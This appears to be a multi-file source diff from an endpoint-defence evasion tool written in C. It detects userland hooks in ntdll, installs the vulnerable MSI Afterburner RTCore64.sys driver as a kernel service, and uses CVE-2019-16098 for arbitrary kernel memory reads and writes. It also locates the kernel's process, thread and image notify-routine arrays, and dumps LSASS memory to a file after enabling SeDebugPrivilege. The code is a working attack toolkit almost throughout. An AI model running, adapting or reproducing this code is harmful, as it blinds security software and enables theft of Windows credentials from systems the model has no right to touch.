printf("0x%p : %ws (%ws)\n", currentModuleEntry->DllBase, dll_name.Buffer, moduleName);
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;;;\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer
);
}
PVOID mem_dllImageBase = currentModuleEntry->DllBase;
PE* memDLL = PE_create(mem_dllImageBase, TRUE);
if (NULL == memDLL->exportDirectory) {
continue;
}
if (!FileExistsW(currentModuleEntry->FullDllName.Buffer)) {
continue;
}
PBYTE disk_dllContent = readFullFileW(currentModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
debugf("\tError : readFullFileW: 0x%x\n\n", GetLastError());
continue;
}
PE* diskDLL = PE_create(disk_dllContent, FALSE);
PE_rebasePE(diskDLL, memDLL->baseAddress);
for (DWORD nameOrdinal = 0; nameOrdinal < diskDLL->exportedNamesLength; nameOrdinal++) {
LPCSTR functionName = PE_RVA_to_Addr(diskDLL, diskDLL->exportedNames[nameOrdinal]);
DWORD functionRVA = PE_functionRVA(diskDLL, functionName);
IMAGE_SECTION_HEADER* functionSectionHeader = PE_sectionHeader_fromRVA(diskDLL, functionRVA);
if ((functionSectionHeader->Characteristics & IMAGE_SCN_MEM_EXECUTE) == 0)//not a function
continue;
PBYTE disk_functionStart = PE_functionAddr(diskDLL, functionName);
PBYTE mem_functionStart = PE_functionAddr(memDLL, functionName);
//check if hook was already detected in this function (due to export aliasing)
BOOL alreadyChecked = FALSE;
for (size_t i = 0; i < hookList_i; i++) {
if (hooksList[i].mem_function == mem_functionStart) {
alreadyChecked = TRUE;
break;
}
}
if (alreadyChecked)
continue;
if (isFunctionHooked(functionName, diskDLL, memDLL)) {
printf("\tHook detected in function 0x%08lx : %s", functionRVA, functionName);
hooksFoundInLastModule = TRUE;
PVOID jmpTarget = hookResolver(mem_functionStart);
if (NULL == jmpTarget) {
printf(" ...but not a JMP, maybe a false positive (data export) or unimplemented hook recognition\n");
}
else {
LDR_DATA_TABLE_ENTRY* hookTargetModuleEntry = getModuleEntryFromAbsoluteAddr(jmpTarget);
for (DWORD i = 0; i < 40 - strlen(functionName); i++) {
printf(" ");
}
printf("-> %ws+0x%tx", hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase));
if (csvFile) {
fprintf(csvFile, "0x%p;%ws;%ws;%s;0x%p;%ws+0x%tx\n",
currentModuleEntry->DllBase,
currentModuleEntry->BaseDllName.Buffer,
currentModuleEntry->FullDllName.Buffer,
functionName,
jmpTarget,
hookTargetModuleEntry->BaseDllName.Buffer, ((PBYTE)jmpTarget) - ((PBYTE)hookTargetModuleEntry->DllBase)
);
}
if (hookList_i >= hookListSize) {
hookListSize *= 2;
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
if (hooksList == NULL) {
debugf("realloc failed\n");
exit(1);
}
}
printf("\n");
hooksList[hookList_i].mem_function = mem_functionStart;
hooksList[hookList_i].disk_function = disk_functionStart;
hooksList[hookList_i].functionName = functionName;
hooksList[hookList_i].list_patches = findDiffsInRange(mem_functionStart, disk_functionStart, PATCH_MAX_SIZE);
hookList_i++;
}
}
}
}
if (!hooksFoundInLastModule) {
printf("\tNo hooks found in this module.\n");
}
if (csvFileName) {
fclose(csvFile);
}
if (hookList_i >= hookListSize) {
hookListSize++;
hooksList = realloc(hooksList, hookListSize * sizeof(hook));
if (NULL == hooksList) {
printf("realloc failed\n");
exit(1);
}
}
hooksList[hookList_i].mem_function = NULL;
hooksList[hookList_i].disk_function = NULL;
hooksList[hookList_i].functionName = NULL;
return hooksList;
}
/*
* Get a view of ntdll.dll PE both on disk and in memory, while caching it for later access
*/
void getNtdllPEs(PE** ntdllPE_mem, PE** ntdllPE_disk) {
LDR_DATA_TABLE_ENTRY* ntdllModuleEntry = getModuleEntryFromNameW(L"ntdll.dll");
PE* ntdllPE_mem_l = NULL;
PE* ntdllPE_disk_l = NULL;
if (ntdllMemPe_g == NULL) {
ntdllMemPe_g = ntdllPE_mem_l = PE_create(ntdllModuleEntry->DllBase, TRUE);
}
else {
ntdllPE_mem_l = ntdllMemPe_g;
}
if (ntdllDiskPe_g == NULL) {
PVOID disk_dllContent = readFullFileW(ntdllModuleEntry->FullDllName.Buffer);
if (NULL == disk_dllContent) {
exit(1);
}
ntdllDiskPe_g = ntdllPE_disk_l = PE_create(disk_dllContent, FALSE);
PE_rebasePE(ntdllPE_disk_l, ntdllPE_mem_l->baseAddress);
}
else {
ntdllPE_disk_l = ntdllDiskPe_g;
}
if (ntdllPE_mem) {
*ntdllPE_mem = ntdllPE_mem_l;
}
if (ntdllPE_disk) {
*ntdllPE_disk = ntdllPE_disk_l;
}
}
void test_trampoline_search()
{
for (hook* h = searchHooks(NULL); h->disk_function; ++h)
{
PVOID trampoline = NULL;
printf("Looking for %s trampoline ...\n", h->functionName);
for (diff* d = h->list_patches; d->disk_ptr; ++d)
{
trampoline = (PBYTE)searchTrampolineInExecutableMemory((PBYTE)d->disk_ptr, d->size, (PBYTE)d->mem_ptr + d->size);
if (trampoline)
{
printf("\tTrampoline found at %p !\n", trampoline);
break;
}
}
if (!trampoline)
printf("\tTRAMPOLINE NOT FOUND !\n");
}
}
+200
View File
@@ -0,0 +1,200 @@
/*
--- Driver install / uninstall functions.
--- Source and credit: https://github.com/gentilkiwi/mimikatz
*/
#include "DriverOps.h"
BOOL ServiceAddEveryoneAccess(SC_HANDLE serviceHandle) {
BOOL status = FALSE;
DWORD dwSizeNeeded;
PSECURITY_DESCRIPTOR oldSd, newSd;
SECURITY_DESCRIPTOR dummySdForXP;
SID_IDENTIFIER_AUTHORITY SIDAuthWorld = SECURITY_WORLD_SID_AUTHORITY;
EXPLICIT_ACCESS ForEveryoneACL = {
SERVICE_QUERY_STATUS | SERVICE_QUERY_CONFIG | SERVICE_INTERROGATE | SERVICE_ENUMERATE_DEPENDENTS | SERVICE_PAUSE_CONTINUE | SERVICE_START | SERVICE_STOP | SERVICE_USER_DEFINED_CONTROL | READ_CONTROL,
SET_ACCESS,
NO_INHERITANCE,
{NULL, NO_MULTIPLE_TRUSTEE, TRUSTEE_IS_SID, TRUSTEE_IS_WELL_KNOWN_GROUP, NULL}
};
if (!QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, &dummySdForXP, 0, &dwSizeNeeded) && (GetLastError() == ERROR_INSUFFICIENT_BUFFER)) {
oldSd = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, dwSizeNeeded);
if (oldSd) {
if (QueryServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, oldSd, dwSizeNeeded, &dwSizeNeeded)) {
if (AllocateAndInitializeSid(&SIDAuthWorld, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, (PSID*)&ForEveryoneACL.Trustee.ptstrName)) {
if (BuildSecurityDescriptor(NULL, NULL, 1, &ForEveryoneACL, 0, NULL, oldSd, &dwSizeNeeded, &newSd) == ERROR_SUCCESS) {
status = SetServiceObjectSecurity(serviceHandle, DACL_SECURITY_INFORMATION, newSd);
LocalFree(newSd);
}
FreeSid(ForEveryoneACL.Trustee.ptstrName);
}
}
LocalFree(oldSd);
}
}
return status;
}
DWORD ServiceInstall(PCTSTR serviceName, PCTSTR displayName, PCTSTR binPath, DWORD serviceType, DWORD startType, BOOL startIt) {
SC_HANDLE hSC = NULL, hS = NULL;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE);
if (hSC) {
hS = OpenService(hSC, serviceName, SERVICE_START);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service already registered\n"), serviceName);
}
else {
if (GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) {
_tprintf(TEXT("[*] \'%s\' service not present\n"), serviceName);
hS = CreateService(hSC, serviceName, displayName, READ_CONTROL | WRITE_DAC | SERVICE_START, serviceType, startType, SERVICE_ERROR_NORMAL, binPath, NULL, NULL, NULL, NULL, NULL);
if (hS) {
_tprintf(TEXT("[+] \'%s\' service successfully registered\n"), serviceName);
if (ServiceAddEveryoneAccess(hS)) {
_tprintf(TEXT("[+] \'%s\' service ACL to everyone\n"), serviceName);
}
else {
_tprintf(TEXT("[!] ServiceAddEveryoneAccess"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("CreateService"));
}
}
else {
PRINT_ERROR_AUTO(TEXT("OpenService"));
}
}
if (hS) {
if (startIt) {
if (StartService(hS, 0, NULL)) {
_tprintf(TEXT("[+] \'%s\' service started\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING) {
_tprintf(TEXT("[*] \'%s\' service already started\n"), serviceName);
}
else {
PRINT_ERROR_AUTO(TEXT("StartService"));
return GetLastError();
}
}
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
else {
PRINT_ERROR_AUTO(TEXT("OpenSCManager(create)"));
return GetLastError();
}
return 0x0;
}
BOOL ServiceGenericControl(PCTSTR serviceName, DWORD dwDesiredAccess, DWORD dwControl, LPSERVICE_STATUS ptrServiceStatus) {
BOOL status = FALSE;
SC_HANDLE hSC, hS;
SERVICE_STATUS serviceStatus;
hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
hS = OpenService(hSC, serviceName, dwDesiredAccess);
if (hS) {
status = ControlService(hS, dwControl, ptrServiceStatus ? ptrServiceStatus : &serviceStatus);
CloseServiceHandle(hS);
}
CloseServiceHandle(hSC);
}
return status;
}
BOOL ServiceUninstall(PCTSTR serviceName, DWORD attemptCount) {
// Used as a stop point for recursive calls to ServiceUninstall.
if (attemptCount > MAX_UNINSTALL_ATTEMPTS) {
_tprintf(TEXT("[!] Reached maximun number of attempts (%i) to uninstall the service \'%s\'\n"), MAX_UNINSTALL_ATTEMPTS, serviceName);
return FALSE;
}
if (ServiceGenericControl(serviceName, SERVICE_STOP, SERVICE_CONTROL_STOP, NULL)) {
_tprintf(TEXT("[+] \'%s\' service stopped\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_NOT_ACTIVE) {
_tprintf(TEXT("[*] \'%s\' service not running\n"), serviceName);
}
else if (GetLastError() == ERROR_SERVICE_CANNOT_ACCEPT_CTRL) {
_tprintf(TEXT("[*] \'%s\' service cannot accept control messages at this time, waiting...\n"), serviceName);
Sleep(OP_SLEEP_TIME);
}
else {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
SERVICE_STATUS status;
BOOL deleted = FALSE;
SC_HANDLE hSC = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT);
if (hSC) {
SC_HANDLE hS = OpenService(hSC, serviceName, SERVICE_QUERY_STATUS | DELETE);
if (hS) {
if (QueryServiceStatus(hS, &status)) {
if (!(status.dwCurrentState == SERVICE_STOPPED)) {
CloseServiceHandle(hS);
CloseServiceHandle(hSC);
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
else {
deleted = DeleteService(hS);
CloseServiceHandle(hS);
}
}
}
CloseServiceHandle(hSC);
}
if (!deleted) {
Sleep(OP_SLEEP_TIME);
return ServiceUninstall(serviceName, attemptCount + 1);
}
return deleted;
}
/*
--- Vulnerable Micro-Star MSI Afterburner driver install / uninstall functions.
--- The "RTCore64.sys" (SHA256: 01AA278B07B58DC46C84BD0B1B5C8E9EE4E62EA0BF7A695862444AF32E87F1FD) file must be present in the current directory if --driver is not specified.
*/
BOOL InstallVulnerableDriver(TCHAR* driverPath) {
const TCHAR svcDesc[] = TEXT("");
DWORD status = ServiceInstall(gVulnDriverServiceName, svcDesc, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
if (status == 0x00000005) {
_tprintf(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?\n"));
}
return status == 0x0;
}
BOOL UninstallVulnerableDriver() {
BOOL status = ServiceUninstall(gVulnDriverServiceName, 0);
if (!status) {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
}
return status;
}
+70
View File
@@ -0,0 +1,70 @@
/*
--- ntoskrnl.exe / wdigest.dll version compute functions.
*/
#include "FileVersion.h"
void GetFileVersion(TCHAR* buffer, SIZE_T bufferLen, TCHAR* filename) {
DWORD verHandle = 0;
UINT size = 0;
LPVOID lpBuffer = NULL;
DWORD verSize = GetFileVersionInfoSize(filename, &verHandle);
if (verSize != 0) {
LPTSTR verData = (LPTSTR)calloc(verSize, 1);
if (!verData) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve version data\n"));
return;
}
if (GetFileVersionInfo(filename, 0, verSize, verData)) {
if (VerQueryValue(verData, TEXT("\\"), &lpBuffer, &size)) {
if (size) {
VS_FIXEDFILEINFO* verInfo = (VS_FIXEDFILEINFO*)lpBuffer;
if (verInfo->dwSignature == 0xfeef04bd) {
DWORD majorVersion = (verInfo->dwFileVersionLS >> 16) & 0xffff;
DWORD minorVersion = (verInfo->dwFileVersionLS >> 0) & 0xffff;
_stprintf_s(buffer, bufferLen, TEXT("%ld-%ld"), majorVersion, minorVersion);
// _tprintf(TEXT("File Version: %d.%d\n"), majorVersion, minorVersion);
}
}
}
}
free(verData);
}
}
void GetNtoskrnlVersion(TCHAR* ntoskrnlVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR ntoskrnlPath[MAX_PATH] = { 0 };
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), systemDirectory);
_tcscat_s(ntoskrnlPath, _countof(ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
_stprintf_s(ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
}
void GetWdigestVersion(TCHAR* wdigestVersion) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
TCHAR wdigestPath[MAX_PATH] = { 0 };
_tcscat_s(wdigestPath, _countof(wdigestPath), systemDirectory);
_tcscat_s(wdigestPath, _countof(wdigestPath), TEXT("\\wdigest.dll"));
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), wdigestPath);
_stprintf_s(wdigestVersion, 256, TEXT("wdigest_%s.dll"), versionBuffer);
}
+178
View File
@@ -0,0 +1,178 @@
/*
--- Kernel memory Read / Write primitives through the vulnerable Micro-Star MSI Afterburner driver.
--- Source and credit: https://github.com/Barakat/CVE-2019-16098/blob/master/CVE-2019-16098.cpp
*/
#include "KernelMemoryPrimitives.h"
static_assert(sizeof(struct RTCORE64_MSR_READ) == 12, "sizeof RTCORE64_MSR_READ must be 12 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_READ) == 48, "sizeof RTCORE64_MEMORY_READ must be 48 bytes");
static_assert(sizeof(struct RTCORE64_MEMORY_WRITE) == 48, "sizeof RTCORE64_MEMORY_WRITE must be 48 bytes");
DWORD ReadMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_READ_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
return MemoryRead.Value;
}
void WriteMemoryPrimitive(HANDLE Device, DWORD Size, DWORD64 Address, DWORD Value) {
struct RTCORE64_MEMORY_READ MemoryRead = { 0 };
MemoryRead.Address = Address;
MemoryRead.ReadSize = Size;
MemoryRead.Value = Value;
DWORD BytesReturned;
DeviceIoControl(Device,
RTCORE64_MEMORY_WRITE_CODE,
&MemoryRead,
sizeof(MemoryRead),
&MemoryRead,
sizeof(MemoryRead),
&BytesReturned,
NULL);
}
BYTE ReadMemoryBYTE(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 1, Address) & 0xff;
}
WORD ReadMemoryWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 2, Address) & 0xffff;
}
DWORD ReadMemoryDWORD(HANDLE Device, DWORD64 Address) {
return ReadMemoryPrimitive(Device, 4, Address) & 0xffffffff;
}
DWORD64 ReadMemoryDWORD64(HANDLE Device, DWORD64 Address) {
return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void) {
DWORD cbNeeded = 0;
LPVOID drivers[1024];
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
return (DWORD64)drivers[0];
}
return 0;
}
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
LPVOID drivers[1024];
DWORD cbNeeded;
int cDrivers = 0;
int i = 0;
TCHAR szDriver[1024] = { 0 };
DWORD64 minDiff = MAXDWORD64;
DWORD64 diff;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
cDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < cDrivers; i++) {
if ((DWORD64)drivers[i] <= address) {
diff = address - (DWORD64)drivers[i];
if (diff < minDiff) {
minDiff = diff;
}
}
}
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
if (verbose) {
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
}
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
if (!ptrDrvier) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
return NULL;
}
_tcscpy_s(ptrDrvier, 1024, szDriver);
return ptrDrvier;
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
}
HANDLE GetDriverHandle() {
TCHAR service[MAX_PATH] = { 0 };
TCHAR suffix[] = TEXT("\\\\.\\");
_tcsncat_s(service, _countof(service), suffix, _countof(suffix));
_tcsncat_s(service, _countof(service), gVulnDriverServiceName, _tcslen(gVulnDriverServiceName));
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
return Device;
}
DWORD64 GetFunctionAddress(LPCSTR function) {
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
DWORD64 address = 0;
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
if (ntoskrnl) {
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
address = ntoskrnlBaseAddress + offset;
FreeLibrary(ntoskrnl);
}
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
}
+81
View File
@@ -0,0 +1,81 @@
/*
--- ntoskrnl Notify Routines' offsets search functions using patterns.
--- Ultimately not used because too unreliable and too prone to BSoD.
*/
#include "KernelPatternSearch.h"
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
for (DWORD i = 0; i < bytesToScan; i++) {
DWORD64 instructionAddress = startAddress + i;
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
if (dword64InstructionFixed == pattern) {
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
return instructionAddress;
}
}
return 0x0;
}
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
return nextInstructionAddress + procedureRelativeAddress;
}
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
CloseHandle(Device);
return PspCreateProcessNotifyRoutineAddress;
}
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
CloseHandle(Device);
return PspCreateThreadNotifyRoutineAddress;
}
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
CloseHandle(Device);
return PspLoadImageNotifyRoutineAddress;
}
+101
View File
@@ -0,0 +1,101 @@
/*
--- LSASS dump functions.
*/
#include "LSASSDump.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
LUID luid;
BOOL bRet = FALSE;
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
bRet = (GetLastError() == ERROR_SUCCESS);
}
}
return bRet;
}
DWORD WINAPI dumpLSASSProcess(void* data) {
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
DWORD dwPriorityClass;
TCHAR* outputDump = (TCHAR*)data;
//Enable the SeDebugPrivilege
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
return 1;
}
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
// Now walk the snapshot of processes, and look for lsass.
do {
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
continue;
}
// Retrieve the priority class.
dwPriorityClass = 0;
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcess)\n"));
return 1;
}
else {
dwPriorityClass = GetPriorityClass(hProcess);
if (!dwPriorityClass) {
_tprintf(TEXT("[!] LSASS dump non fatal error: couldn't retrieve LSASS process' priority class (GetPriorityClass)\n"));
}
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
return 1;
}
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!dumped) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump)\n"));
return 1;
}
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
CloseHandle(hProcess);
}
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
}
+44
View File
@@ -0,0 +1,44 @@
/*
